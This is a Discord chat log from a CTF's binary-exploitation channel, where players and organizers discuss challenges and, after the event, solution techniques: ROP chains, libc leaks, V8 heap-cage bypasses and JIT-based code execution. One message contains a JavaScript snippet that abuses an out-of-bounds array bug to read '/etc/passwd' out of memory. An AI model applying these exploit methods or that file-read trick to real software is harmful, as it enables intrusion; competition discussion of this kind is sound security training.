#pwn

1 messages · Page 4 of 1

earnest temple
#

it's not too hard, but it contains lemon lore

strange pecan
#

that's a pretty good post about 64 bit ret2dlresolve

#

i didn't know that pwntools had one either, but i think doing it manually can help you understand it better

#

don't quote me on this, but i think there are certain cases depending where bss loads that makes 64 bit ret2dl (from a purely blind perspective) not possible as well 🤔

upper hollow
upper hollow
strange pecan
#

pwntools has so many amazing stuff in docs 😔

storm jasper
#

imagine not being kmh

#

kmh just puts his entire exploit in a python2 -c 'print(...)'

#

and I'm concerned for his well-being

wild crypt
#

python2

cobalt yoke
storm jasper
#

well hey at least kmh doesn't use windows 8

#

ahem

cobalt yoke
#

😂

vagrant cypress
#

LMAO someone deleted my GIF

runic shore
#

There is no Dockerfile for nightmare, is it on purpose ?

tawdry haven
#

there will be soon™️. In the meantime, the hash is provided

warm breach
#

by any change would the admins mind zipping the challenges for next time? for baby-rop theirs a bunch of files and its a pain to install all of them. Please??

native swift
#

use wget

#

or curl

#

there are only 5 files

ebon gull
#

Will there be any browser pwn?

formal leaf
#

challenges will be released +6 and +12 hours in

#

no guarantees on the particular category/topic

earnest temple
#

as soon as we find the solve script we lost

polar frost
#

‘We’?

earnest temple
#

the solve script i lost sadge

polar frost
#

Yeah.

south pilot
#

who can I pm for baby rop?

native swift
#

you can open a ticket

drifting jackal
#

For baby rop, what is the path to the flag file? I can read arbitrary files but it doesnt seem to be /flag.txt

proper drum
#

try flag.txt in the current directory 🙂

#

saves you a byte too

#

maybe

drifting jackal
#

Mhm still not working. It's weird I use the provided ld and libc in local

#

I think there might be a connection timeout issue, the port closes after a few seconds

native swift
#

most networked services time out after 20s

drifting jackal
#

Alright my exploit was very non optimized after minimizing the network communication it worked. Thanks!

tawdry haven
#

🥳

tawdry dust
#

I have been having similar issues for baby rop, I tried reducing my payload and its still not landing. Is there someone I can dm?

native swift
drifting jackal
#

Is it normal that there is no IP provided for the containment server?

native swift
#

I believe it is the same as breach

tawdry haven
#

breach doesn't have a server either...

tawdry haven
formal leaf
gloomy roost
#

any hints on misc/sober-bishop

stoic cove
#

for data-eater, is it possible to provide a libc ?

short urchin
#

On server, aslr is on ?

tawdry haven
#

almost certainly

drowsy vapor
#

Does pwn/containment server use the same server as rev/containment server ?

formal leaf
#

pwn/containment and rev/breach are the same program

#

the flag for pwn/containment is on remote

short urchin
patent depot
#

did u guys release 1984? 🤔

proper drum
#

due to er

#

technical difficulties

#

it is now named memory hole

#

and will appear Very Soon™️

upper hollow
earnest temple
#

ok

#

memory hole is here

#

have fun!

fallen zealot
#

Idk if this face is intended, but i don't think it's appropriate post here.

earnest temple
fallen zealot
#

oh bruh gg.

patent depot
#

Okay sed

vague canopy
#

Generic question: what do you guys do when libc has no symbols and no symbols signature (for eu-unstrip/pwninit)?

#

I was thinking of compiling the libc with debug symbols myself... but it looks like a pain

fluid bone
#

anyone to talk about data-eater?

proper drum
#
  1. Do not ask for help from competing teams.
  2. Do not discuss solutions or solve methods with competing teams.
fluid bone
#

can i talk to the author about the intended solution? already solved it

proper drum
#

oh then make a ticket

#

🙂

fluid bone
#

kk

#

thanks

earnest temple
#

does whoever solved memory hole want to talk abt his/her solution

remote crest
#

🤔

earnest temple
#

!bean @upper hollow

warped dirgeBOT
#

✅ Aqcurate#7348 (156372767166562305) was beaned. Reason: No reason given.

remote crest
#

lmfaooo

earnest temple
#

well.

#

if anyone has a good solution to heap cage.

#

do tell.

analog needle
#

like you guyes r asking for solutions

earnest temple
#

yeah

analog needle
#

why ?

earnest temple
#

I would like solutions

#

I have been cheating

#

Begging for solutions

analog needle
#

bro

#

thats cheating

#

you cheat

earnest temple
#

ok and

analog needle
#

and we cant cheat

#

why ?

#

its not good

#

you guyes r cheating and we guyes cant cheat

#

unfair

fluid bone
#

^ unfair advantage

patent depot
#

will u guys release a kernel to complete a fullchain? pepelaugh

proper drum
#

you see kvm in gcp was being stupid

#

🙃

burnt frigate
#

why the do i get a cannot resolve host name error using the net cat server on interview challange?

shell locust
#

when will organizers solve containment happythonk

storm jasper
#

never

#

pwn is #cringe

lusty cliff
shell locust
storm jasper
#

did you know that containment can be solved with a tcp 0day

tawdry haven
lofty ether
lusty cliff
autumn eagle
#

did anyone solve interview? I have a question.

trim adder
#

ask it in a ticket not to other contestants

autumn eagle
#

oh

coral summit
autumn eagle
#

mb

trim adder
#

np

lusty cliff
#

(well my team mate)

shell locust
#

🙏

hazy portal
#

Anyone know good android apps for doing pwn challenges on the go

polar frost
hazy portal
polar frost
#

cursed

native swift
#

ssh client

tawdry haven
lusty cliff
#

no

#

for sure not

#

I think we are coming up on minute 3

tawdry haven
#

so does 1 ctf minute = 1 earth hour?

lusty cliff
#

1 ctf minute = however long it takes 🙂

proper drum
#

just like challs are delayed 1 ctf minute 🙂

tawdry haven
#

🤡

ebon gull
#

doing pwn challs on a phone

#

I guess you could try ssh-ing into a remote box that has the challs on them?

brisk hinge
#

that would probably be your best bet

midnight siren
#

Hello, it seems that the binary of memory hole in remote is different from the binary given locally

jade saffron
lofty ether
#

O: hi sonicninja

#

loved uiuctf

jade saffron
#

ty @lofty ether

#

❤️

lofty ether
#

anyone working on nightmare? cant give hints but id love to hear some of the ideas going on so far

#

in dms

#

of course lol

formal leaf
#

give us some time

ionic vapor
#

what's the path to the flag in baby rop

tawdry haven
#

flag.txt

native swift
#

flag.txt

ionic vapor
#

wtf

tawdry haven
#

? were you expecting supersecretstrangename.txt? 🤡

sharp warren
#

flag.txt

shell locust
midnight siren
formal leaf
#

cool ok

quaint stirrup
hazy portal
#

im back on my Samsung™ DeX, ideal for CTFs

quaint stirrup
#

What's that?

hazy portal
#

plug Samsung phone into a monitor, it has a desktop environment

#

not directly

#

but like that's the gist

quaint stirrup
#

Oh cool

hazy portal
#

btw, for the record, I am def using a kali vm lmao

#

and NOT using a Samsung DeX

trim adder
#

someone took only 4.5 ctf minutes on containment

tawdry haven
#

🤡

ivory cedar
#

It takes my code 3.5 ctf minutes per run

hazy portal
#

interview opportunity is the first pwn challenge i've done using a python

cloud owl
earnest temple
cloud owl
#

Ye 🙂

reef cliff
ivory cedar
#

My code takes a mere 1 ctf minute to run! (read: 30 minutes)

reef cliff
#

haha

oak shale
shell locust
#

ono

stray geode
#

Why is pwn/containment asking about Flag: ? I can't see it in the dockerfile. What is the input to the challange?

#

Shouldn't we be able to upload .bin file for it to run or something?

brisk hinge
plucky shale
#

will road-to-failure drop an hint?

quasi sonnet
#

i have solved chutes-and-ladders locally

#

But the remote environment is too slow and the time limit is not enough

trim adder
#

open a ticket and we can help

quasi sonnet
#

i have open it

vague canopy
#

Just finished (locally) babyrop, but my solution is waaaaay too complex (and slow)... i only leak some stuff b4 the server closes the connection 😦 * sad *

ivory cedar
brisk mauve
#

I'll try baby-rop last time and go back to sleep /spend more than 24h with dicegangCTF ..;( I'm impressed with good infrastructure 😄

#

thank ya organizers

shell locust
stray geode
#

y, figured

earnest temple
#

Since dicectf is over

#

I guess I can talk about the solutions to monkey hole

sharp warren
#

in 9 minutes

earnest temple
#

oh

#

shit

#

ok

#

not yet

tawdry haven
#

lmao chop

earnest temple
sharp warren
#

literally throwing

earnest temple
#

I'm still recovering from my robotics all nighter and competition yesterday 😩

polar frost
earnest temple
polar frost
#

tell them about the solution to the version of monkeyhole you published

#

:^)

lone cypress
#

Lol, everyone quietly hoping last minute hints revealed

earnest temple
#

the difference between the three versions

#

is negligible

#

anyone that can solve monkey hole can solve monkey hole but typer easily

tawdry haven
#

:msfrog:

polar frost
earnest temple
#

bad for dg rep tbh

#

typer in a ctf in 2022

ivory cedar
#

In exactly 7 minutes I dm ireland questions lets goo

earnest temple
#

there are so many bypasses for heap cage rn

#

i hope someone has a cool one

#

that he/she used

tawdry haven
plucky shale
#

i'm wonder the exp of mojo

sharp warren
earnest temple
#

mojo msfearful

ivory cedar
#

noooo fine support ticket in 5 min

plucky shale
#

we speed two whole day on this challenge XD

scarlet copper
#

nightmare is a nightmare

#

will there be any writeups (esp from authors :))

native swift
#

I know pepsipu has one written

#

don't think he will publish it

#

I think he is giving a prize to whoever solves it first after the CTF ends

ivory cedar
scarlet copper
#

:/

ivory cedar
#

Is it a virtual cookie??

proper drum
#

announcement soon!

ebon gull
#

anybody have a writeup for memory hole?

lofty ether
polar frost
#

nows your time to shine

ebon gull
#

I was thinking abt overwriting the bytecode generated by the interpreter

#

but didn't get anywhere with that idea

cosmic fable
#

i didn't have much time so i found a way to read files

#

#cheese

#

but it didn't work

#

because the flag has a random name

polar frost
cosmic fable
# polar frost 👀 How's that 
let f64view = new Float64Array(1);
let u8view = new Uint8Array(f64view.buffer);

let a = [13.37];

try {
    Realm.eval(0, '/etc/passwd', {type: 'classic'});
} catch (e) {
    console.log(e);
}

a.setLength(1000);

s = []

for (let i = 0; i < 200; i++) {
    f64view[0] = a[i];
    s.push(String.fromCharCode(...u8view));
}

console.log(s.join(''))
polar frost
#

@earnest temple lol

#

told you you should have checked the other builtins

cosmic fable
#

well w/e it was unexploitable anyway

#

but i didn't think i was going to solve it the intended way in ~3 hours so 😆

earnest temple
#

pardon.

#

I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS I hate JS

stuck finch
#

Writeup for baby-rop? I was able to get arbitrary read & write, so libc leak from GOT; then I tried to get control by using __free_hook but for some reason it didn't hook, maybe it was deprecated in this libc version. Another idea was to get a stack leak to overwrite return address and build a ROP, but I wasn't able to get a stack leak

earnest temple
#

ok so

polar frost
#

this is what you get for using d8

earnest temple
#

intended solution

#

yeah msfrogsleep

ebon gull
ebon gull
earnest temple
#

next year we'll have another heap cage challenge

#

or in another ctf

#

so i'm not gonna say one of the cool solutions here

#

but the lame solution

#

is just to overwrite the Code pointer in the function struct

#

which is contained within the cage

stuck finch
earnest temple
#

ANd then just use inline numbers in the jit'd code to get rce

stuck finch
#

Could I get some stack leak from something?

ebon gull
earnest temple
ebon gull
#

would've rw-(no exec) prevent that?

#

oh

earnest temple
#

No

ebon gull
#

idk enough abt how JS functions in v8 works lol

lone cypress
#

Baby rop you didn't need to do a free hook, just find the stack and write your own rop

earnest temple
#

since we put an instruction like ADD rsp, 0x190434852

#

snce v8 sometimes uses rsp as a scratch register

#

and 0x190434852 will be in the actual generated code

static hound
#

well. about memory hole. I'm not sure whether my solution is unintended

earnest temple
#

what was yours?

static hound
#

but I didn't use the typer bug

polar frost
#

There was no typer bug, that was included in the patch file by mistake sadge

static hound
#

ohh

earnest temple
#

There was supposed to be just an OOB function

ebon gull
stuck finch
static hound
#

I used webassembly and shellcode it

polar frost
#

Array.setLength was included

earnest temple
#

Oh

#

LMFAO

static hound
#

but the flag says ROP?

earnest temple
#

ok so two ways to sice

#

ah

#

That's fine

#

how did you bypass The Cage?

north knot
#

is dstaeater return to dlresolve?

static hound
#

😄 I'm going to write a blog about

earnest temple
#

cool

static hound
#

it is a full cage bypass

#

nope

earnest temple
#

👀

native swift
lone cypress
#

I'll grab my scripts and post them

static hound
#

I got arbitrary read/write outside the cage

earnest temple
#

excited to see

static hound
#

what's the intended solution btw

earnest temple
#

modifying the register file of a suspended async fn

#

or just relative overwrite the code pointer

static hound
#

so you got PC control and then ROP?

earnest temple
#

The generator method is arb read/write outside of hte cage

#

the relative overwrite is pc

#

yeah

static hound
#

ohhh. interesting.

tardy wagon
ebon gull
earnest temple
#

or just jit rop

#

it's painful

#

but possible to do even without writing an assembler

ebon gull
earnest temple
#

It's where you do

<instruction>
jmp +8
#

and the jmp gets you to the nexti nlined float

#

or whatever

ebon gull
#

lol

earnest temple
#

within the jit'd code

polar frost
#

Is that really ROP lem

earnest temple
#

no, not at all

#

but they cal lit that

#

and i wanted a homage to peek oh

polar frost
#

it's SJOP

#

(short jump OP)

earnest temple
#

that sounds much more toxic tho

ebon gull
earnest temple
#

No

#

SInce

#

if we have

static hound
#

Are you going to write a writeup for the generator method? excited to see

earnest temple
#

i might yeah

polar frost
ebon gull
earnest temple
#

yeah clubbies chall was cool

spiral reef
#

What's best way to patch binaries?

polar frost
native swift
#

hex editor

spiral reef
#

Pwninit?

ebon gull
polar frost
spiral reef
#

I got an issue with babyrop with libc version

ebon gull
polar frost
#

sandbox one day when i have a few days to put aside and read the code

ebon gull
#

now they don't use ld preload and just patch the binary

spiral reef
#

Yeah lol

lone cypress
cosmic fable
polar frost
#

Nice 😄

native swift
#

OMG an intended solution for data-eater

#

i love u

#

❤️

lone cypress
stuck finch
#

Thank you

lone cypress
native swift
#

yeah most people had some pretty interesting looking rop stuff

solemn ravine
#

turned the main function into a rop chain

#

leaked the libc version using scanf

#

scanf -> printf -> scanf to get the base address

#

then one gadget for shell lol

earnest temple
#

This is one way to do it

#

the way using the relative overwrite

#

and then jit rop like

static hound
#

I guess my recent research impaired my mind. I didn't even realize stack is a thing in userspace.. I composed a quick magical ROP chain near _IO_file_jumps 🥲

#

^ for baby-rop

north knot
native swift
#

guess, probably

earnest temple
#

dicegtf

fluid bone
solemn ravine
earnest temple
solemn ravine
#

it was only a 4 bit bruteforce

fluid bone
#

oh i see

native swift
#

intended solution uses 0-bit brute force 🙂

solemn ravine
#

learned something new

#

also the code formating for your writeup confused the hell out of me for a good minute

fluid bone
solemn ravine
#

didnt see it scrolled right, so it looked like you just wrote "/bin/sh" and got a shell lol

static hound
#

let me drop my memory hole exploits here in case I forget to write a blog

#

the arb r/w is just as clean as before XD

earnest temple
#

oh interesting

#

i didntk now that basepointer exists

static hound
#

oh nonono

#

basepointer is the cage base pointer

#

I overwrite it to 0

earnest temple
#

Ah

#

And then length you make big

static hound
#

yes

earnest temple
#

isn't the heap cage length 2**31-1

#

or something

#

Or is it smaller than that

static hound
#

oh. this is the "backingstore on js heap" type of typedarray

earnest temple
#

ah

polar frost
#

Oh, so you make the 'cage' base the real virtual memory base?

static hound
#

nonono. my arb r/w is still inside the cage

earnest temple
#

Oh

polar frost
#

I'm confused sadge

static hound
#

the escape part is "setGlobal"

earnest temple
#

h

#

import global

static hound
#

exactly

earnest temple
#

that's so cool

static hound
#

it is a raw pointer. just hijack it, you got arb r/w.

earnest temple
#

Heap cage is going to be hard for them to make properly secure.

polar frost
#

they should just stop making vulns

#

Mozilla does it pretty well :^)

earnest temple
#

So many pointers and weird behaviours of objects both inside of and outside of the cage

static hound
#

they should just write better code 😄

polar frost
#

Dare I say... rewrite it in Rust?

earnest temple
static hound
#

haha

earnest temple
#

any part of v8 that hasn't had a vuln just means the code is too hard to read for researchersrolf

polar frost
#

You say this but I've seen the v8 snippets you sent

earnest temple
#

you see my messages in # pwn and then scurry away sadge

polar frost
earnest temple
#

what about that v8 reading session.

#

what happened to that.

polar frost
#

What about the codeql reading session.

earnest temple
#

i've been trying to organise v8 reading for months.

static hound
#

can non-dicegang people join 👀

earnest temple
#

It's in cor but

#

yeah

#

if you ping fizzbuzz101 enough

#

definitel;y

polar frost
#

@strange pecan

earnest temple
#

@strange pecan

static hound
#

this ID is so familiar. Does he write blogs about msg_msg exploit in Linux kernel?

cosmic fable
#

👀

remote crest
#

@strange pecan

#

let him in

polar frost
static hound
#

ah ha. willsroot!

#

I read his blog almost everyday

left violet
#

@strange pecan

ebon gull
plucky shale
#

mojo is hard

#

XXXXDDDD

upper hollow
earnest temple
#

fizz please let the nice ucsb man in 🥺

strange pecan
#

oh my seems like msg_msg has gone famous 😳

lone cypress
earnest temple
#

fizzbuzz is so cracked

left violet
#

fizzbuzz 🥺

static hound
#

I learnt the msg_msg attack from your blog post and used it in kctf 😉

strange pecan
#

I think another team used msg_msg as well, and we also used msg_msg 😂

native swift
#

me: drops fizzbuzz101 on floor
me: "please don't be cracked please don't be cracked"
fizzbuzz101:

earnest temple
#

damn fizzbuzz forgot to gaslight gatekeep girlboss

cosmic fable
earnest temple
#

Maybe I should make a browser pwn server

#

is anyone interested

strange pecan
#

sign me up 🙃

static hound
#

I'm in

strange pecan
#

browser seems so fun, but reading chrome source is deranged 😔

wild crypt
#

as if kernel src is better

cosmic fable
#

i'll take kernel src any day over v8

earnest temple
jovial lake
#

🤮

earnest temple
jovial lake
#

chop0 is gonna 1984 the server like fizz

polar frost
earnest temple
cosmic fable
strange pecan
#

is this chop's private browser training club 🤔

earnest temple
#

this is where i get trained prayge

#

v8 circus monkey school

strange pecan
#

chop are you gonna bully saelo with all these bypasses

earnest temple
strange pecan
#

keep messing with chrome devs and they'll start enabling PCSCAN

earnest temple
gilded juniper
#

can we have a repo for all pwn challs ?

native swift
#

challenge sources will be released after the bounties expire/are collected

proper drum
#

and after we finish cleaning up ||[redacted]||

native swift
#

actually maybe we should just release everything except the bounties

lusty cliff
#

@shell locust btw for containment why does it start executing your input as shellcode? I think we never figured that out lul. we just found that by "fuzzing"

shell locust
#

it uses the start of rom as the scratch buffer for reading your input

#

which is normally ok since both parent and child are executing far from the start, but you can hit that section when parent and child try to return from main

lusty cliff
#

Ohhhh

#

I saw the jmp in main to main_parent and I thought it would just never return for some reason

#

lol

#

very cool challenges btw!

shell locust
#

thanks ;p

lofty ether
#

if you're working on nightmare post ctf, lmk ur ideas!! id love to hear them

runic osprey
#

Wow thanks @static hound and @earnest temple

#

Look forward to your write ups on memory hole! I was thinking to use bring your own gadget

#

Didn’t have time to finish it

runic osprey
next orbit
#

So how did people do memory hole

#

I did it differently

storm jasper
hybrid crag
#

check #writeups. there are some that people posted for memory-hole

next orbit
#

Hm ok so I’m not releasing my sol pepega

runic osprey
#

Oh shucks the write up by mem2019 also went bring your own gadget

runic osprey
next orbit
#

Allow me to keep it a secret itadakms

earnest temple
#

kylebot's uses imported_mutable_globals

next orbit
#

Lol

#

That’s neat

runic osprey
#

Haha okay

storm jasper
#

hk you should make your sol into a ctf chall we definitely don't have pcaps

next orbit
runic osprey
#

I guess hk used the operation Typer bug 👀

#

Haha

polar frost
#

That wasn't actually in the challenge

runic osprey
polar frost
#

someone mistakenly included it in the patch file, but it wasn't compiled in

runic osprey
#

Oh?

polar frost
#

Although if it had been the typer bug, it wouldn't have been much harder. It was a very simple bug that could probably be turned into OOB with a few minutes work

runic osprey
#

😂

next orbit
#

Idk if there are new typer bypasses

#

very difficult ….

earnest temple
#

list of heap cage bypasses so far:

  1. code pointer but that'll be fixed
  2. generator register files
  3. imported_mutable_globals
  4. hk method
  5. heap numbers
storm jasper
#

list of chops so far:
0. chop0

  1. chop1
  2. chop2
tawdry haven
#

list of ic's so far:
0. iczero

  1. icone
  2. ictwo
runic osprey
static hound
#

I understood the mechanism by reading the official doc

#

I discovered the escape by .... imagination?

#

I kind of just noticed that globals are fishy and tested by copy-pasting webassembly code and discovered it

runic osprey
#

Thanks!

solemn ravine
#

unintended solution for data-eater

static hound
runic osprey
runic osprey
static hound
#

Yes! After the challenge, I think I never touched wasm again.

spare bramble
#

@solemn ravine can i dm you ?

solemn ravine
spare bramble
#

@solemn ravine your dm are not open 😂 ... but nvm. I ask here does scanf() first process the first format string and than it looks into mem and checks if there any other so while scanf() executes it can modify its own format arguments ? So first executes %4${}c which overwrites a part of itself ... than looks into its args and checks if there are any more and goes on executing ? (We write the b"%12$p%4c" there)... so it does not care how many args there on "call" time ?

solemn ravine
#

says its allowed, but w/e

solemn ravine
#

cause it processes it 1 character at a time

#

i didnt know that until this challenge actually, wasnt sure if this method was gonna work

#

but yeah, it doesnt look ahead

spare bramble
#

Ahh Okay 😂 ... thanks! learned something new.

slate flint
#

anyone have a write up on pwn/interview-opportunity

rich prairie
#

check our official writeup collection in the announcement

vagrant cypress
#

is anyone trying nightmare atm?

tawdry haven
#

pepsi will be sad if nobody says yes

ivory cedar
#

rip pepsi ig

rancid falcon
#

Yes

#

And man does it live up to its name

native swift
#

someone did solve it

#

but the bounty is still available

tawdry haven
#

🤨

lofty ether
#

it was within dice

#

there are a handful of people working on nightmare

#

i would mark max progress at 30%

#

looking forward to solve :O

hearty karma
#

oh no I’m racing lms, it’s over

#

30% smh been on this for like 3 days

ivory cedar
lofty ether
#

I’ll just publish the writeup

#

it’ll be up until Sunday at 1

rich prairie
#

challenge will probably be up a bit longer

#

but not too much cuz money

ivory cedar
#

Hmmm imagine 0 solves tho

#

On nightmare

plucky shale
#

i give up

#

xd

warped mortar
#

lmao

storm jasper
#

pepsi "someone test solve nightmare" pu

ivory cedar
#

Just checking its solvable right?

tawdry haven
#

it has a solve script right?

#

wait...

#

oh wait yeah i think so. chop was the one who "deleted it and couldn't find it again"

storm jasper
#

that was a different challenge

hearty karma
#

i feel like its definitely solvable

storm jasper
#

but yes there is a working solve

hearty karma
#

just a pain in the ass

storm jasper
#

from both the author and someone else

ivory cedar
#

Just put everything into a github repository

storm jasper
#

so true

#

first person to run the solve script gets the bounty

ivory cedar
storm jasper
#

here solve script:

print("dice{lol_you_thought}")
ivory cedar
#

GASP thats insane

storm jasper
ivory cedar
#

a print statement?

#

impossible

storm jasper
#

but I will say that both solve scripts solve the challenge by printing the flag

#

so I guess you could say the method is the same

ivory cedar
warped mortar
#

damn why didnt I think of just printing the flags during the comp. 🤡

ivory cedar
wild crypt
#

we bought it because it was an expired domain on the public suffix list

ivory cedar
#

ohhh i c

native swift
#

actually there were several but this one is short for minecraft axe

wild crypt
lofty ether
lone cypress
tight pumice
#

@proper bone will you post the writeup for the sandbox challenge?

proper bone
#

yeah when i have time maybe over the weekend

#

tldr of intended sol is
edit the .mojom file to use native_struct.mojom
and then patch in a pickled object
root cause is mojojs uses incorrect native struct type

tight pumice
outer acorn
#

nightmare's official writeup with a 350 line pwn script 😳

native swift
#

pone

cobalt yoke
#

Where can I find the attachments for nightmare challenge?

#

oh nvm, got it from ctfwebsite